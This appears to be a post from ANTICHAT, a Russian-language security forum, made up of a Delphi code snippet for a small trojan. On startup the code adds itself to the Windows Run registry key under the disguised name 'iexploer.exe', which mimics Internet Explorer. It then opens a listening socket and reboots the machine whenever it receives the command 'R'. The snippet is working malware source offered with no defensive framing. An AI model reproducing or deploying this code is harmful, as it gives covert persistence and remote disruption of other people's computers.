ANTICHAT — форум по информационной безопасности, OSINT и технологиям

procedure TForm1.FormCreate(Sender: TObject);
var
RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('Run','iexploer.exe',Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  ServerSocket1.Active:=false;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
s: String;
begin
s:= Socket.ReceiveText;
if s='R' then

ShellExecute(handle, nil,'shutdown',' -r -t 2','', SW_SHOWNORMAL);

end;

end.